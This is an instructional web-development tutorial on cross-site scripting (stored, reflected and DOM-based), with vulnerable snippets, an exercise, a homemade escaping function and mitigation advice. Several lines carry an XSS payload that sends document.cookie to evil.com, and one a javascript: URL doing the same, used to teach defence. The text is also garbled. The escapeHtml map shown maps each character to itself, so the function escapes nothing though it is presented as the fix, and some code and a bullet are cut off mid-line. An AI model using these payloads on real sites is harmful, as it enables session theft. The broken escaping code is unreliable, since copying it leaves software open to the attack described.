Concept
The beginner framing: a page that takes text from a user (a comment, a search query, a URL parameter) and puts it back on the page, without being careful about how, can be tricked into running an attacker's own JavaScript, inside the victim's browser, with the victim's own login session.
The precise mental model: Cross-Site Scripting (XSS) happens whenever attacker-controlled data reaches a sink that the browser interprets as executable code or markup, rather than as inert text. The browser has no concept of "this string came from an untrusted user", once a string lands in innerHTML, an inline event handler, or a <script> tag, it's just HTML/JS to be parsed and run, indistinguishable from code the developer wrote themselves. That's the entire vulnerability class in one sentence: trusted execution context + untrusted content, with no boundary between them.
// The vulnerable pattern, in its simplest form:
const commentEl = document.getElementById("comment");
commentEl.innerHTML = userComment; // whatever the user typed, parsed as HTMLIf userComment is <img src=x onerror="fetch('//evil.com/steal?c='+document.cookie)">, the browser tries to load src="x", fails, and, because onerror is a real JavaScript event handler attribute, runs the attacker's fetch() call, in the page's own origin, with access to that origin's cookies (unless they're httpOnly), localStorage, and live DOM.
Step through the full injection → execution → exfiltration → fix chain:
// A comment form renders user input directly:el.innerHTML = `<p>${comment}</p>`;// Attacker submits as their "comment":const comment = '<img src=x onerror="fetch(`//evil.com/steal?c=${document.cookie}`)">';
The page takes attacker-controlled text and assigns it to innerHTML, the browser doesn't know this string came from an attacker; it just parses it as markup, same as any other HTML.
The three variants, where the untrusted data comes from and how long it persists
// STORED XSS: the payload is saved server-side (e.g. a comment in a database)
// and served to EVERY visitor who views that page, highest blast radius.
await db.comments.insert({ text: "<img src=x onerror=steal()>" });
// later, rendered for every viewer:
el.innerHTML = comment.text; // every single viewer executes the attacker's script
// REFLECTED XSS: the payload comes from the CURRENT request (a query param, form field)
// and is immediately reflected back into the response, requires tricking ONE victim
// into clicking a crafted link.
// https://shop.com/search?q=<script>steal()</script>
el.innerHTML = `Results for: ${new URLSearchParams(location.search).get("q")}`;
// DOM-based XSS: the payload never touches the server at all, a CLIENT-SIDE
// script reads something attacker-controlled (URL fragment, referrer) and
// writes it to a dangerous sink, entirely in the browser.
document.getElementById("welcome"
All three variants share the exact same underlying mechanic (untrusted string → dangerous sink), they differ only in where the untrusted data originates and how it reaches the sink, which matters for how you find and fix them: stored/reflected need server-side output encoding at the point of response; DOM-based needs the same discipline entirely on the client, and won't show up in server logs at all since the payload may never leave the browser.
Confirmed: signed cookies don't help here, but httpOnly does
A JWT session cookie being cryptographically signed (see the signing discipline in most auth setups) says nothing about whether client-side JavaScript can read it. document.cookie returns every cookie not marked httpOnly, a stolen non-httpOnly cookie is just as usable by an attacker as the real login. Marking the session cookie httpOnly removes it from document.cookie entirely, which is why it's a real (if partial) XSS mitigation, not just a CSRF one.
Try It
Predict what happens before checking the solution.
const searchTerm = new URLSearchParams(location.search).get("q") ?? "";
document.getElementById("results").innerHTML = `<h2>Results for "${searchTerm}"</h2>`;A user visits https://shop.com/search?q=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E (URL-decoded: <img src=x onerror=alert(1)>). Which XSS variant is this, and does it require anything to be stored anywhere?
Solution
This is reflected XSS. The payload lives entirely in the URL's query string, the server (or client script) takes q straight from the current request and writes it into innerHTML with no escaping. Nothing is stored anywhere; the attack only fires for whoever actually clicks (or is tricked into visiting) this specific crafted URL, typically delivered via a phishing link, a malicious ad, or a shortened URL. Compare to stored XSS, where the same <img onerror> payload saved into a database would fire for every single visitor to that page, with no crafted link required at all.
Implement It Yourself
Build a minimal HTML-escaping function, the actual mechanism a "sanitize this" library wraps:
function escapeHtml(str) {
const ESCAPE_MAP = {
"&": "&",
"<": "<",
">": ">",
'"': """,
"'": "'",
};
return str.replace(/[&<>"']/g, (char) => ESCAPE_MAP[char]);
}
const payload = '<img src=x onerror="fetch(`//evil.com/steal?c=${document.cookie}`)">';
// Vulnerable:
el.innerHTML = payload;
// → browser parses <img>, onerror fires, attacker's fetch() runs
The mechanism is exactly this simple: replace the five characters that give a string HTML meaning (< > & " ') with their inert entity equivalents before the string reaches any HTML-parsing sink. Every production sanitization library (DOMPurify, a framework's built-in escaping) is a more complete, context-aware version of this same idea, HTML-escaping alone isn't sufficient inside <script> blocks, URL attributes, or CSS, each of which needs its own escaping rules, which is why hand-rolling this for a real app is a mistake even though the core mechanism is this small.
Under the Hood
React's JSX escapes all interpolated values by default, <p>{comment}</p> is safe against exactly this attack, which is why React apps are structurally harder to XSS than raw DOM manipulation (see JSX), the escape hatch is dangerouslySetInnerHTML, whose deliberately alarming name is the framework's way of flagging "you are now responsible for what this guide just covered." A Content Security Policy adds a second, independent layer that can stop an XSS payload from executing even if the escaping step is missed somewhere, covered mechanically in Content Security Policy (CSP), including the exact browser console behavior when it blocks an injected script. And once an attacker has a working script-execution primitive, CSRF becomes largely moot as a separate concern, since script execution in-origin can already do anything the user's own JS could, XSS is frequently the more powerful primitive of the two.
Common Mistakes
1. Assuming a framework's default escaping covers every sink
// React escapes THIS automatically:
<div>{userComment}</div>
// but NOT this, dangerouslySetInnerHTML is an explicit opt-out:
<div dangerouslySetInnerHTML={{ __html: userComment }} /> // ❌ back to raw innerHTML riskFramework default-escaping only protects the sinks it actually mediates, any raw-HTML escape hatch (dangerouslySetInnerHTML, Vue's v-html, a raw innerHTML call inside a useEffect) bypasses it completely and needs its own explicit sanitization.
2. Escaping for the wrong context
// HTML-escaping a value that's actually going into a URL attribute:
el.innerHTML = `<a href="${escapeHtml(userUrl)}">link</a>`; // ❌
// userUrl = "javascript:fetch('//evil.com/steal?c='+document.cookie)"
// escapeHtml() doesn't touch this, it's a VALID href value, no <, >, or & involvedHTML-entity escaping only protects HTML-text and attribute-value contexts from tag/attribute injection, it does nothing to stop a javascript: URL scheme from executing when a user clicks the link. URL-context values need URL/protocol validation (an allowlist of http:/https:), not HTML escaping.
3. Filtering with a denylist instead of encoding
// "Removing script tags" as the fix:
const cleaned = userInput.replace(/<script.*?<\/script>/gi, ""); // ❌
// bypassed trivially: <img src=x onerror=steal()>, no <script> tag at allDenylisting specific tags/patterns is a losing game, there are dozens of executable-context sinks (onerror, onload, <svg onload>, javascript: URLs, <iframe srcdoc>) and attackers only need to find one the denylist missed. Encode/escape at the sink, or use an allowlist-based sanitizer, never try to "clean" untrusted HTML by pattern-matching known-bad substrings.
Best Practices
- Escape at the point of output, based on the actual sink context (HTML text, HTML attribute, URL, JS string, CSS), not once, generically, at input time; the same value might legitimately need different escaping depending on where it's rendered.
- Prefer
textContentoverinnerHTMLwhenever the content is genuinely plain text, it removes the entire vulnerability class for that assignment, since the browser never parses it as markup at all. - Mark session cookies
httpOnlyso a successful XSS can't simply readdocument.cookieand exfiltrate the session directly, a real, if partial, mitigation for exactly the impact shown above. - Deploy a Content Security Policy as defense-in-depth (see Content Security Policy (CSP)), it can block payload execution even when an escaping mistake slips through code review.
- (a rich-text comment, markdown preview), hand-rolled sanitization reliably misses edge cases a dedicated, security-audited library already handles.
Performance Tips
- Escaping/encoding a string is a cheap, linear-time operation, there's no real performance argument for skipping it; the "we'll sanitize later for speed" tradeoff is not a real one at typical string sizes.
- Sanitizer libraries like DOMPurify do meaningfully more work than a plain regex escape (they parse and rebuild a DOM tree to strip dangerous constructs), reserve them for the cases that actually need to preserve some HTML (rich text), and use plain escaping (or
textContent) for the much more common case of pure-text output, where a full sanitizer pass is unnecessary overhead.
